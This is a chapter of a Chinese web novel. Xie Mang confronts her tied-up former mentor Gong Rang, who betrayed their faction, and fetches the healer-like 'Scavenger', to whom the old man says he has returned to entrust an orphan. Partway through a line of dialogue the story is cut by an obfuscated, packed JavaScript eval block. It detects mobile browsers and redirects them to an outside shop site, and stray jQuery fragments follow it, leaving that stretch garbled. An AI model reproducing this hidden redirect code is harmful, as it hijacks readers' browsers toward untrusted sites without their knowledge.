陈望舒偏要kk欠着她这个人情,在这个人情还清之前,kk就没有办法对她出手。只要一切悬而未决,就永远有逆转局势的机会。人情是最值钱的买卖,也是最容易翻倍的投资。
这是陈望舒从阿公那学到的道理。
当然,这个说法仅对好人有限制,若是碰上翻脸不认人的无耻之徒,那这人情相当于打了水漂,一切付诸东流。
“这么多年不见人影,我还以为你早就被仇人一枪爆头了呢,没想到,你居然还苟活着。”谢茫一脚踩在椅子上,用力一蹬,转轮椅带着阿公砸向身后的墙。
阿公抽了口凉气,原本就骨折的手在这一番撞击下雪上加霜,他求饶地开口:“别虐待老人啊。”
谢茫嗤笑一声:“老东西,我可没把你当人。在你抛下我们一声不吭就逃走,把一堆烂摊子丢给我们的时候,你有没有想过你那是在虐待我们?”
阿公不吭声了。说起这件事,他确实也不占理。
“恭让,哑巴了吗?为什么不说话?”
谢茫抽着绳子,绳子的另一端将阿公和转轮椅靠背捆得严实。她一拉,人和椅子又被拉了过来,她一脚踩在转轮椅的扶手上,柳钉鞋在卤素灯下散发着寒光。
阿公叹了口气,说道:“我没什么好解释的,随你撒气吧,只要给我留一条命就行。”
说着,阿公忽然开始猛烈咳嗽起来,谢茫盯着他,不知道他在搞什么鬼。却见他咳着咳着,一道血雾喷了出来。
谢茫的脚下意识往前挪了半步,忽然又回过神来,骂了自己一句。她真是多余关心这个家伙,她甚至想用上这些年她学会的各种手段,让他知道叛徒的下场。有那么几刻,她觉得自己脱离了爱与和平旗帜,化身恶鬼,投进了那群该死的六边形的怀抱。
但谢茫的视线又落在了阿公太阳穴上的弹痕处,她知道这个家伙这些年绝对过得不如意。瞧他浑身是伤的模样,瞧他掺了白丝的头发……
谢茫骂了几句脏话,将背心上挂着的徽章扯下来,狠狠摔在地上,向外走去。
鼹鼠赶紧跑过来,捡起她丢在地上的徽章,拍了拍,揣进兜里赶紧朝她追了过去。鼹鼠从来没见过老板发如此大的火,毕竟在二十区里,老板是他见过的脾气最好的人了。他不知道老板和这个老猫到底是什么关系,两人看上去像是仇人一样,但老板却没有真的对他下狠手。而那个老猫似乎也认准了这一点,居然敢出言挑衅。
“你没事吧,老板?”鼹鼠追上去小心翼翼地问道。
谢茫抓了一把自己的头发,将一颗糖丢进嘴里咬得咯吱作响。她觉得嘴里的糖失去了甜味,变成了满口玻璃渣,割得她满口腥味,她坐在杂货店外的长椅上,背靠着墙壁,看着门外已经熄火的摩托车。
说实话,她想不通,想不通当年阿公为什么毫无前兆地离开了二十区,如同人间蒸发一样失去了任何音讯,还背叛了他们长久以来背靠的组织“野火”,她觉得,当年野火会分裂解体,恭让功不可没。
谢茫真的恨透了恭让,恭让当年救了她,把她带到野火,但又亲手摧毁了她这么多年来所有的依靠和信仰。往后野火的成员四散去了各处,投靠了各大组织。谢茫也是从那个时候开始明白,这个世界上没有永恒的团队和朋友。
前一天还在和自己诉诸衷肠的战友也能在后一天里带着所有的机密投靠敌对组织,她对同伴的信任也会在某一天化为刺向自己的刀。这个世界除了自己以外没有真正的可信任之人,这一点还是恭让亲自教她的。
谢茫这些年加入了爱与和平旗帜,不断开拓自己的业务和人脉,期间也没有忘记打探阿公的消息。她一直觉得,她总得把这个人找到,然后亲手报复回来。
但这么多年她都没有找到,她知道,这个人不可能在二十区,如果他在二十区,她把地皮翻遍了,她肯定能把他找出来。
如今,这个人莫名其妙地出现在她的杂货店里,毫无前兆,就像他消失的那一天一样。仿佛这六年只是一转眼,他语气平静得仿佛自己只是上了个厕所,现在才回来一样。
她不知道这个人为什么要回来,为什么不干脆死在外面死得干净一些,就当从来没来过一样。真是莫名其妙。
谢茫盯着远处的黑暗,忽然说道:“去找清道夫,把他叫过来。”
“哦。”鼹鼠赶紧应下,正要向外跑,忽然又想起自己手里还攥着谢茫的徽章,他跑回来将徽章递给谢茫。谢茫看了一眼他掌心处的徽章,将它接了过来,重新别再背心上:“算了,我亲自过去找他,你把店里那个家伙盯牢了,千万别让他跑了。”
说完,谢茫骑上摩托,嗡一声飞走了。
鼹鼠看着她急掠而去的背影,又钻回店里,正要应着谢茫的话将店里那只老猫盯严实了,没想到一进门,原本还坐着人的转轮椅上空荡荡,只剩下绳子垂在椅子上,正缓缓摇晃着。
鼹鼠心一紧,他完全没有听到动静,不知道屋里那个人是什么时候挣脱绳索逃走了,他竟完全没有发觉。“完了”两个字占满他的脑海。他知道谢茫对这个老猫的重视程度,谢茫前脚刚嘱咐他要把这个老猫看好,下一秒他就让人逃了,怎么办?老板不会杀了他吧?
鼹鼠满头大汗,他一把将卷帘门关上,打开店里所有的灯,正准备仔细搜寻那个老猫的踪迹。
忽然,一道水声从不远处传来,他回过头去,在收银台上看到了一个身影。
那个消失的老猫不知道什么时候坐到了收银台的高脚椅上,正将烧好的热水倒进紫砂壶里,虽然只有一只手,也不妨碍他将泡好的热茶倒进茶杯里,浅尝一番。
只见老猫呲溜了一口热茶,喟叹了一声:“垃圾。”
“干!”鼹鼠在心里骂道。那是老板珍藏了很久、自己都舍不得喝的金骏眉,鼹鼠都还没尝过呢,这老猫凭什么说那是垃圾!
谢茫将油门开到最大,一路火花带闪电,穿过坎坷的街道,在泥土上轧出一道深深的轮胎印。
辰时的钟声敲响了,二十区从黑暗步入另一个黑暗,但彻夜休眠后的人们在钟声的提示下陆续睁开眼,准备开启新一天的工作。
澡堂的乌龟店员用长杆子将店门外的灯笼叉了下来,熄灭了灯笼的开关,把它挂在臂弯间,手里拿着一串钥匙,正准备将敞了一晚上的澡堂大门关闭锁好。
远处的轰鸣声在街道间回荡,像是雷霆巨响,她吓得赶紧钻进澡堂,一把将门关上。但在她将门关上之前,一只手隔在两道门之间,撑住门缝,将乌龟吓了一跳。当她看清门外的人时,她惊魂未定地喊道:“谢老板?你怎么来了?你来怎么不说一声啊,我差点就把你的手夹伤了。”
谢茫可是修理师,她是靠手艺吃饭的人,她的手要是夹伤了那可不得了。
谢茫还在喘着粗气,她的头发被风吹得凌乱,耳朵被风刮得发麻,就连脸都僵硬了。她一把将门扯开,挤了进来,朝着里间走去:“清道夫呢,人死了没,没死就赶紧给我出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582458|204709||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
过道里水汽蒸腾,谢茫一把拉开澡堂的大门,视线扫过空荡荡的、只有热气在升腾的温泉水,扭头打开另一扇门。乌龟刚把大门关上,追上来时看到挨个开门找人的谢茫,吓得她差点魂飞魄散。
还好他们澡堂现在已经歇业了,要是在营业中,谢茫这样冲进来找人,不知道要闹出多大的动静。
“老板不在这,老板在鱼池。”乌龟赶紧喊道。
谢茫看了她一眼,甩上木门,向走廊尽头跑去。
木门撞在墙壁上发出巨响,乌龟赶紧按住木门,生怕它脱框掉了下来。
谢茫穿过九转回廊,走到露天回形院子里,院子里立着一座座崎岖的假山,假山间穿插着不少小桥和不规则形状的池塘,假山中央是一棵五米高的树。树上光秃秃,一片叶子也没有,这棵树已经死掉多年但澡堂主人却仍然将它留在这里,没有挖掉也没有换新,似乎觉得这棵枯树也是一番风景。
“清道夫。”谢茫站在鱼池外朝着那一簇簇假山喊道。她没有兴趣进去看一眼,她知道清道夫在鱼池里养了一堆食人鱼,他在躲在鱼池里准没有什么好事。
“八百年不见你来一次,来一次就差点把我这房子给掀翻了,说吧,这次又是受了什么伤?”
“不是我,”谢茫说道,“恭让回来了。”
鱼池里的声音消失了,谢茫还以为里面的人掉进了鱼池里,被食人鱼吃到了:“你听见了吗?我说,恭让回来了。”
良久,鱼池里飘出来一句轻飘飘的回复:“哦。”
谢茫额头的青筋突突直跳。
.
鼹鼠的双眼牢牢盯着那个坐在收银台旁的老猫,只见他慢吞吞地从高脚椅上跳下来,又慢吞吞地回到转轮椅上,拿着那根绳子,重新把自己捆好。鼹鼠抱着手臂守在门旁,紧盯着他的动作,搞不清楚这个老猫到底在搞什么花样。但无论他想做什么,都逃不过鼹鼠的眼睛。
门外熟悉的摩托声传来,鼹鼠提起的心总算是沉了下来,他正想替谢茫开门,但眼角余光看到阿公挪了挪身子,鼹鼠忽然就站住了脚步,继续盯着阿公。
这个老猫狡猾得很,鼹鼠的视线从他身上挪开一瞬,他就能立即换一个地方待着,像鬼一样。鼹鼠只能一直盯着他,眼睛不敢从他身上挪开半寸,只有用这种方式他才能看住这个家伙。
谢茫拉开门,视线从店里扫过,当看到维持着原本的姿势安坐在转轮椅上的阿公时,她才算是松了口气。
“我就说我没有骗你吧。”谢茫头也不回地朝着身后的清道夫说道。
清道夫浑身裹着厚厚的黑布,像是见光死的吸血鬼,向着店内的方向飘过来。清道夫已经很多年没有离开澡堂了,要不是阿公回来了,谢茫未必能把他请出山。
“你去看一眼吧,看看他还能活多少天,最好撬开他的嘴,让他好好交代这些年都去了哪里。”谢茫一甩手,回到了收银台的位置。她低头看见桌面上的茶壶,目光危险地看向鼹鼠:“你动了我的茶叶?”
鼹鼠张大眼睛,委屈地指了指自己,又指了指远处看上去半死不活的阿公。
清道夫苍白的手指搭上阿公的手腕,良久,吐出一句话:“确实命不久矣。”
他垂眼看着阿公,问道:“既然当初要走,为什么不直接死在外面?”
谢茫接道:“巧了,我也说了同样的话。”
阿公笑了一下,虚弱地说道:“我这次回来,是来托孤的。”